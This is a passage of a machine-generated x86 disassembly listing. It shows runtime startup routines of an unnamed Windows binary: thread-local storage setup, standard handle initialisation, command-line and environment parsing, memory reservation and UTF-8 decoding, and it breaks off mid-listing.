endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B3B1 proc near ; CODE XREF: DMN1:loc_449EC8p push ebx call sub_44AA81 call dword_411DD4 mov dword_411770, eax cmp eax, 0FFFFFFFFh jnz short loc_44B3CD xor eax, eax jmp short loc_44B408 ; --------------------------------------------------------------------------- loc_44B3CD: ; CODE XREF: sub_44B3B1+16j push 48h call sub_44A581 pop ecx mov ebx, eax test eax, eax jz short loc_44B3EC push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jnz short loc_44B3F0 loc_44B3EC: ; CODE XREF: sub_44B3B1+28j xor eax, eax jmp short loc_44B408 ; --------------------------------------------------------------------------- loc_44B3F0: ; CODE XREF: sub_44B3B1+39j push ebx call sub_44B441 pop ecx call dword_411DD8 mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_44B408: ; CODE XREF: sub_44B3B1+1Aj ; sub_44B3B1+3Dj pop ebx retn sub_44B3B1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- call sub_44AAC1 cmp dword_411770, 0FFFFFFFFh jz short locret_44B435 mov eax, dword_411770 push eax call dword_411DDC or dword_411770, 0FFFFFFFFh locret_44B435: ; CODE XREF: DMN1:0044B420j retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B441 proc near ; CODE XREF: sub_449CF1+17p ; sub_44B3B1+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E4 mov dword ptr [ebx+10h], 1 pop ebx retn sub_44B441 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B471 proc near ; CODE XREF: sub_449D81+1p sub_44A781p ... push ebx push esi call dword_411CE8 mov esi, eax mov eax, dword_411770 push eax call dword_411DE0 mov ebx, eax test eax, eax jnz short loc_44B4C9 push 48h call sub_44A581 pop ecx mov ebx, eax test eax, eax jz short loc_44B4C1 push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jz short loc_44B4C1 push ebx call sub_44B441 pop ecx call dword_411DD8 mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_44B4C9 ; --------------------------------------------------------------------------- loc_44B4C1: ; CODE XREF: sub_44B471+28j ; sub_44B471+39j push 1 call sub_44B571 pop ecx loc_44B4C9: ; CODE XREF: sub_44B471+1Aj ; sub_44B471+4Ej push esi call dword_411D14 mov eax, ebx pop esi pop ebx retn sub_44B471 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B4E1 proc near ; CODE XREF: sub_449D81+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411770, 0FFFFFFFFh jz short loc_44B56D test ebx, ebx jnz short loc_44B504 mov eax, dword_411770 push eax call dword_411DE0 mov ebx, eax loc_44B504: ; CODE XREF: sub_44B4E1+13j test ebx, ebx jz short loc_44B55F mov eax, [ebx+20h] push eax call sub_4494D1 pop ecx mov eax, [ebx+24h] push eax call sub_4494D1 pop ecx mov eax, [ebx+28h] push eax call sub_4494D1 pop ecx mov eax, [ebx+2Ch] push eax call sub_4494D1 pop ecx mov eax, [ebx+30h] push eax call sub_4494D1 pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E4 jz short loc_44B54E mov eax, [ebx+34h] push eax call sub_4494D1 pop ecx loc_44B54E: ; CODE XREF: sub_44B4E1+61j mov eax, [ebx+3Ch] push eax call sub_4494D1 pop ecx push ebx call sub_4494D1 pop ecx loc_44B55F: ; CODE XREF: sub_44B4E1+25j push 0 mov eax, dword_411770 push eax call dword_411D98 loc_44B56D: ; CODE XREF: sub_44B4E1+Fj pop ebx retn sub_44B4E1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44B571 proc near ; CODE XREF: DMN1:00449C8Dp ; DMN1:00449CCBp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D30 retn sub_44B571 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44B581 proc near ; CODE XREF: DMN1:00449CBBp ; DMN1:00449F78p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411774 jmp short loc_44B5D3 ; --------------------------------------------------------------------------- loc_44B58F: ; CODE XREF: sub_44B581+58j cmp [esi], ebx jnz short loc_44B5D0 push 1 mov eax, [esi+4] push eax call sub_44D131 add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_44B5AF test edi, edi jnz short loc_44B5B1 loc_44B5AF: ; CODE XREF: sub_44B581+28j jmp short loc_44B5DB ; --------------------------------------------------------------------------- loc_44B5B1: ; CODE XREF: sub_44B581+2Cj cmp edi, 1 jz short loc_44B5CB push 0 mov eax, [esi+4] push eax call sub_44D131 add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_44B5CB: ; CODE XREF: sub_44B581+33j or eax, 0FFFFFFFFh jmp short loc_44B5E6 ; --------------------------------------------------------------------------- loc_44B5D0: ; CODE XREF: sub_44B581+10j add esi, 8 loc_44B5D3: ; CODE XREF: sub_44B581+Cj cmp esi, offset dword_4117C4 jb short loc_44B58F loc_44B5DB: ; CODE XREF: sub_44B581:loc_44B5AFj mov eax, [esp+0Ch+arg_4] push eax call dword_411DE4 loc_44B5E6: ; CODE XREF: sub_44B581+4Dj pop edi pop esi pop ebx retn sub_44B581 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B5F1 proc near ; CODE XREF: sub_449E71+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D18 test eax, eax jnz short loc_44B611 call dword_411CE8 push eax call sub_44A621 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44B611: ; CODE XREF: sub_44B5F1+Dj xor eax, eax retn sub_44B5F1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B621 proc near ; CODE XREF: DMN1:00449EE0p push offset dword_412854 call dword_411DE8 retn sub_44B621 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DE8 mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412854 mov ebx, dword_412858 sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_44D221 pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B681 proc near ; CODE XREF: DMN1:00449EE5p var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_44A581 pop ecx mov ebx, eax test eax, eax jnz short loc_44B6A3 push 1 call sub_44B571 pop ecx loc_44B6A3: ; CODE XREF: sub_44B681+18j mov dword_413988, ebx mov dword_413A88, 20h jmp short loc_44B6CD ; --------------------------------------------------------------------------- loc_44B6B5: ; CODE XREF: sub_44B681+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44B6CD: ; CODE XREF: sub_44B681+32j mov eax, dword_413988 add eax, 480h cmp ebx, eax jb short loc_44B6B5 lea eax, [ebp+var_58] push eax call dword_411DA8 cmp [ebp+var_26], 0 jz loc_44B7F3 cmp [ebp+var_24], 0 jz loc_44B7F3 mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_44B724 mov [ebp+var_10], 800h loc_44B724: ; CODE XREF: sub_44B681+9Aj mov esi, 1 jmp short loc_44B77F ; --------------------------------------------------------------------------- loc_44B72B: ; CODE XREF: sub_44B681+107j push 480h call sub_44A581 pop ecx mov ebx, eax test eax, eax jnz short loc_44B746 mov eax, dword_413A88 mov [ebp+var_10], eax jmp short loc_44B78A ; --------------------------------------------------------------------------- loc_44B746: ; CODE XREF: sub_44B681+B9j mov dword_413988[esi*4], ebx add dword_413A88, 20h jmp short loc_44B76E ; --------------------------------------------------------------------------- loc_44B756: ; CODE XREF: sub_44B681+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_44B76E: ; CODE XREF: sub_44B681+D3j mov eax, dword_413988[esi*4] add eax, 480h cmp ebx, eax jb short loc_44B756 inc esi loc_44B77F: ; CODE XREF: sub_44B681+A8j mov eax, [ebp+var_10] cmp dword_413A88, eax jl short loc_44B72B loc_44B78A: ; CODE XREF: sub_44B681+C3j xor edi, edi jmp short loc_44B7EE ; --------------------------------------------------------------------------- loc_44B78E: ; CODE XREF: sub_44B681+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_44B7E1 mov edx, [ebp+var_4] movzx edx, byte ptr [edx] test edx, 1 jz short loc_44B7E1 test edx, 8 jnz short loc_44B7BB push eax call dword_411DEC test eax, eax jz short loc_44B7E1 loc_44B7BB: ; CODE XREF: sub_44B681+12Dj mov eax, edi and eax, 1Fh imul eax, 24h mov edx, edi sar edx, 5 mov edx, dword_413988[edx*4] lea ebx, [edx+eax] mov eax, [ebp+var_8] mov eax, [eax] mov [ebx], eax mov eax, [ebp+var_4] mov al, [eax] mov [ebx+4], al loc_44B7E1: ; CODE XREF: sub_44B681+117j ; sub_44B681+125j ... inc edi inc [ebp+var_4] mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_44B7EE: ; CODE XREF: sub_44B681+10Bj cmp edi, [ebp+var_10] jl short loc_44B78E loc_44B7F3: ; CODE XREF: sub_44B681+69j ; sub_44B681+73j xor edi, edi loc_44B7F5: ; CODE XREF: sub_44B681+23Ej imul eax, edi, 24h mov edx, dword_413988 lea ebx, [edx+eax] cmp dword ptr [ebx], 0FFFFFFFFh jnz loc_44B8B7 mov byte ptr [ebx+4], 81h test edi, edi jnz short loc_44B81E mov [ebp+var_5C], 0FFFFFFF6h jmp short loc_44B82F ; --------------------------------------------------------------------------- loc_44B81E: ; CODE XREF: sub_44B681+192j cmp edi, 1 setz al and eax, 1 add eax, 0FFFFFFF4h mov [ebp+var_5C], eax loc_44B82F: ; CODE XREF: sub_44B681+19Bj mov eax, [ebp+var_5C] push eax call dword_411CD4 mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44B8B1 mov eax, [ebp+var_C] push eax call dword_411DEC mov [ebp+var_14], eax test eax, eax jz short loc_44B8B1 call dword_411D64 mov [ebp+var_64], eax call dword_411D64 push 2 push 1 push 0 lea edx, [ebp+var_60] push edx push eax mov eax, [ebp+var_C] push eax mov eax, [ebp+var_64] push eax call dword_411DF0 test eax, eax jz short loc_44B886 mov eax, [ebp+var_60] mov [ebp+var_C], eax loc_44B886: ; CODE XREF: sub_44B681+1FDj mov eax, [ebp+var_C] mov [ebx], eax mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 2 jnz short loc_44B89E or byte ptr [ebx+4], 40h jmp short loc_44B8BB ; --------------------------------------------------------------------------- loc_44B89E: ; CODE XREF: sub_44B681+215j mov eax, [ebp+var_14] and eax, 0FFh cmp eax, 3 jnz short loc_44B8BB or byte ptr [ebx+4], 8 jmp short loc_44B8BB ; --------------------------------------------------------------------------- loc_44B8B1: ; CODE XREF: sub_44B681+1C0j ; sub_44B681+1D1j or byte ptr [ebx+4], 40h jmp short loc_44B8BB ; --------------------------------------------------------------------------- loc_44B8B7: ; CODE XREF: sub_44B681+186j or byte ptr [ebx+4], 80h loc_44B8BB: ; CODE XREF: sub_44B681+21Bj ; sub_44B681+228j ... inc edi cmp edi, 3 jl loc_44B7F5 mov eax, dword_413A88 push eax call dword_411DF4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B681 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx loc_44B8E5: ; CODE XREF: DMN1:0044B938j cmp dword_413988[ebx*4], 0 jz short loc_44B934 mov esi, dword_413988[ebx*4] jmp short loc_44B90B ; --------------------------------------------------------------------------- loc_44B8F8: ; CODE XREF: DMN1:0044B919j cmp dword ptr [esi+8], 0 jz short loc_44B908 lea eax, [esi+0Ch] push eax call dword_411DCC loc_44B908: ; CODE XREF: DMN1:0044B8FCj add esi, 24h loc_44B90B: ; CODE XREF: DMN1:0044B8F6j mov eax, dword_413988[ebx*4] add eax, 480h cmp esi, eax jb short loc_44B8F8 mov eax, dword_413988[ebx*4] push eax call sub_4494D1 pop ecx mov dword_413988[ebx*4], 0 loc_44B934: ; CODE XREF: DMN1:0044B8EDj inc ebx cmp ebx, 40h jl short loc_44B8E5 pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B941 proc near ; CODE XREF: sub_44BAF1+3Fp ; sub_44BAF1+76p var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov ecx, [ebp+arg_8] mov edx, [ebp+arg_10] mov dword ptr [edx], 0 mov edx, [ebp+arg_C] mov dword ptr [edx], 1 mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0 jz short loc_44B972 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44B972: ; CODE XREF: sub_44B941+24j cmp byte ptr [ebx], 22h jnz short loc_44B9AD jmp short loc_44B989 ; --------------------------------------------------------------------------- loc_44B979: ; CODE XREF: sub_44B941+53j test ecx, ecx jz short loc_44B984 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44B984: ; CODE XREF: sub_44B941+3Aj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44B989: ; CODE XREF: sub_44B941+36j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44B996 cmp byte ptr [ebx], 0 jnz short loc_44B979 loc_44B996: ; CODE XREF: sub_44B941+4Ej test ecx, ecx jz short loc_44B9A0 mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44B9A0: ; CODE XREF: sub_44B941+57j mov eax, [ebp+arg_10] inc dword ptr [eax] cmp byte ptr [ebx], 22h jnz short loc_44B9E5 inc ebx jmp short loc_44B9E5 ; --------------------------------------------------------------------------- loc_44B9AD: ; CODE XREF: sub_44B941+34j ; sub_44B941+91j test ecx, ecx jz short loc_44B9B8 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44B9B8: ; CODE XREF: sub_44B941+6Ej mov eax, [ebp+arg_10] inc dword ptr [eax] mov eax, ebx inc ebx mov al, [eax] mov [ebp+var_9], al mov al, [ebp+var_9] cmp al, 20h jz short loc_44B9D4 test al, al jz short loc_44B9D4 cmp al, 9 jnz short loc_44B9AD loc_44B9D4: ; CODE XREF: sub_44B941+89j ; sub_44B941+8Dj cmp [ebp+var_9], 0 jnz short loc_44B9DD dec ebx jmp short loc_44B9E5 ; --------------------------------------------------------------------------- loc_44B9DD: ; CODE XREF: sub_44B941+97j test ecx, ecx jz short loc_44B9E5 mov byte ptr [ecx-1], 0 loc_44B9E5: ; CODE XREF: sub_44B941+67j ; sub_44B941+6Aj ... mov [ebp+var_8], 0 loc_44B9EC: ; CODE XREF: sub_44B941+181j cmp byte ptr [ebx], 0 jz short loc_44B9FE jmp short loc_44B9F4 ; --------------------------------------------------------------------------- loc_44B9F3: ; CODE XREF: sub_44B941+B7j ; sub_44B941+BBj inc ebx loc_44B9F4: ; CODE XREF: sub_44B941+B0j mov al, [ebx] cmp al, 20h jz short loc_44B9F3 cmp al, 9 jz short loc_44B9F3 loc_44B9FE: ; CODE XREF: sub_44B941+AEj cmp byte ptr [ebx], 0 jz loc_44BAC7 cmp [ebp+arg_4], 0 jz short loc_44BA18 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44BA18: ; CODE XREF: sub_44B941+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_44BA1D: ; CODE XREF: sub_44B941+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_44BA2A ; --------------------------------------------------------------------------- loc_44BA28: ; CODE XREF: sub_44B941+ECj inc ebx inc edi loc_44BA2A: ; CODE XREF: sub_44B941+E5j cmp byte ptr [ebx], 5Ch jz short loc_44BA28 cmp byte ptr [ebx], 22h jnz short loc_44BA7A test edi, 1 jnz short loc_44BA67 cmp [ebp+var_8], 0 jz short loc_44BA54 cmp byte ptr [ebx+1], 22h jnz short loc_44BA4B inc ebx jmp short loc_44BA5B ; --------------------------------------------------------------------------- loc_44BA4B: ; CODE XREF: sub_44B941+105j mov [ebp+var_4], 0 jmp short loc_44BA5B ; --------------------------------------------------------------------------- loc_44BA54: ; CODE XREF: sub_44B941+FFj mov [ebp+var_4], 0 loc_44BA5B: ; CODE XREF: sub_44B941+108j ; sub_44B941+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_44BA67: ; CODE XREF: sub_44B941+F9j shr edi, 1 jmp short loc_44BA7A ; --------------------------------------------------------------------------- loc_44BA6B: ; CODE XREF: sub_44B941+13Ej test ecx, ecx jz short loc_44BA75 mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_44BA75: ; CODE XREF: sub_44B941+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44BA7A: ; CODE XREF: sub_44B941+F1j ; sub_44B941+128j mov eax, edi dec edi test eax, eax jnz short loc_44BA6B mov al, [ebx] test al, al jz short loc_44BA95 cmp [ebp+var_8], 0 jnz short loc_44BA97 cmp al, 20h jz short loc_44BA95 cmp al, 9 jnz short loc_44BA97 loc_44BA95: ; CODE XREF: sub_44B941+144j ; sub_44B941+14Ej jmp short loc_44BAB3 ; --------------------------------------------------------------------------- loc_44BA97: ; CODE XREF: sub_44B941+14Aj ; sub_44B941+152j cmp [ebp+var_4], 0 jz short loc_44BAAD test ecx, ecx jz short loc_44BAA8 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44BAA8: ; CODE XREF: sub_44B941+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44BAAD: ; CODE XREF: sub_44B941+15Aj inc ebx jmp loc_44BA1D ; --------------------------------------------------------------------------- loc_44BAB3: ; CODE XREF: sub_44B941:loc_44BA95j test ecx, ecx jz short loc_44BABD mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44BABD: ; CODE XREF: sub_44B941+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_44B9EC ; --------------------------------------------------------------------------- loc_44BAC7: ; CODE XREF: sub_44B941+C0j cmp [ebp+arg_4], 0 jz short loc_44BADC mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_44BADC: ; CODE XREF: sub_44B941+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_44B941 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BAF1 proc near ; CODE XREF: DMN1:00449EEAp var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D90 mov esi, eax cmp byte ptr [esi], 0 jnz short loc_44BB23 push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CDC lea esi, [ebp+var_10C] loc_44BB23: ; CODE XREF: sub_44BAF1+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_44B941 add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_44A581 pop ecx mov ebx, eax test ebx, ebx jnz short loc_44BB56 push 1 call sub_44B571 pop ecx loc_44BB56: ; CODE XREF: sub_44BAF1+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_44B941 add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C4, eax mov dword_4117C8, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_44BAF1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BB91 proc near ; CODE XREF: DMN1:00449EEFp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DF8 mov [ebp+var_8], eax test eax, eax jnz short loc_44BBAF mov eax, off_411894 mov [ebp+var_8], eax loc_44BBAF: ; CODE XREF: sub_44BB91+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_44BBD4 ; --------------------------------------------------------------------------- loc_44BBBB: ; CODE XREF: sub_44BB91+46j mov edx, ebx or eax, 0FFFFFFFFh loc_44BBC0: ; CODE XREF: sub_44BB91+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44BBC0 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44BBD2 add [ebp+var_4], esi loc_44BBD2: ; CODE XREF: sub_44BB91+3Cj add ebx, esi loc_44BBD4: ; CODE XREF: sub_44BB91+28j cmp byte ptr [ebx], 0 jnz short loc_44BBBB mov eax, [ebp+var_4] inc eax push eax call sub_44A581 pop ecx mov edi, eax mov dword_4117D0, eax cmp dword_4117D0, 0 jnz short loc_44BBFC push 1 call sub_44B571 pop ecx loc_44BBFC: ; CODE XREF: sub_44BB91+61j mov ebx, [ebp+var_8] jmp short loc_44BC2B ; --------------------------------------------------------------------------- loc_44BC01: ; CODE XREF: sub_44BB91+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_44BC06: ; CODE XREF: sub_44BB91+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44BC06 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44BC29 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_44BC1C: ; CODE XREF: sub_44BB91+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_44BC1C pop eax add edi, esi loc_44BC29: ; CODE XREF: sub_44BB91+82j add ebx, esi loc_44BC2B: ; CODE XREF: sub_44BB91+6Ej cmp byte ptr [ebx], 0 jnz short loc_44BC01 mov byte ptr [edi], 0 mov eax, off_411894 cmp eax, [ebp+var_8] jz short loc_44BC47 mov eax, [ebp+var_8] push eax call dword_411DFC loc_44BC47: ; CODE XREF: sub_44BB91+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BB91 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44BC51 proc near ; CODE XREF: DMN1:00449F24p push ebx call dword_411D90 mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_44BC75 loc_44BC5F: ; CODE XREF: sub_44BC51+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44BC6C cmp byte ptr [ebx], 0 jnz short loc_44BC5F loc_44BC6C: ; CODE XREF: sub_44BC51+14j cmp byte ptr [ebx], 22h jnz short loc_44BC7D inc ebx jmp short loc_44BC7D ; --------------------------------------------------------------------------- loc_44BC74: ; CODE XREF: sub_44BC51+27j inc ebx loc_44BC75: ; CODE XREF: sub_44BC51+Cj cmp byte ptr [ebx], 20h ja short loc_44BC74 jmp short loc_44BC7D ; --------------------------------------------------------------------------- loc_44BC7C: ; CODE XREF: sub_44BC51+34j inc ebx loc_44BC7D: ; CODE XREF: sub_44BC51+1Ej ; sub_44BC51+21j ... mov al, [ebx] test al, al jz short loc_44BC87 cmp al, 20h jbe short loc_44BC7C loc_44BC87: ; CODE XREF: sub_44BC51+30j mov eax, ebx pop ebx retn sub_44BC51 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BC91 proc near ; CODE XREF: sub_449FB1+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117D8, 0 jnz short loc_44BCC4 push 1 push 2000h mov eax, dword_4117DC push eax push 0 call dword_411E00 mov dword_4117D8, eax test eax, eax jz short loc_44BD27 loc_44BCC4: ; CODE XREF: sub_44BC91+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117D8 push eax call dword_411E04 test eax, eax jz short loc_44BD27 cmp [ebp+var_C], 1000h jnz short loc_44BCF1 mov eax, [ebp+var_10] mov edx, dword_4117D8 lea edi, [edx+eax] jmp short loc_44BCF7 ; --------------------------------------------------------------------------- loc_44BCF1: ; CODE XREF: sub_44BC91+50j mov edi, dword_4117D8 loc_44BCF7: ; CODE XREF: sub_44BC91+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117DC mov ecx, dword_4117D8 add edx, ecx cmp eax, edx jb short loc_44BD12 xor eax, eax jmp short loc_44BD27 ; --------------------------------------------------------------------------- loc_44BD12: ; CODE XREF: sub_44BC91+7Bj push 4 push 1000h push ebx push esi call dword_411E00 test eax, eax jz short loc_44BD27 mov eax, esi loc_44BD27: ; CODE XREF: sub_44BC91+31j ; sub_44BC91+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BC91 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BD31 proc near ; CODE XREF: sub_44ABC1+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411924, 0 jnz loc_44BEAC cmp [ebp+arg_4], 0 jnz short loc_44BD7F mov eax, [ebp+arg_C] mov ecx, dword_40FB78 mov ebx, dword_40FB7C mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BD7F: ; CODE XREF: sub_44BD31+31j ; sub_44BD31+176j cmp [ebp+arg_8], 0 jnz short loc_44BDA3 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BDA3: ; CODE XREF: sub_44BD31+52j cmp [ebp+var_3], 0 jbe short loc_44BDEA mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_44BDCE call sub_44A781 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44C00B ; --------------------------------------------------------------------------- loc_44BDCE: ; CODE XREF: sub_44BD31+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_44BE5B ; --------------------------------------------------------------------------- loc_44BDEA: ; CODE XREF: sub_44BD31+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_44BDFE mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_44BE5B ; --------------------------------------------------------------------------- loc_44BDFE: ; CODE XREF: 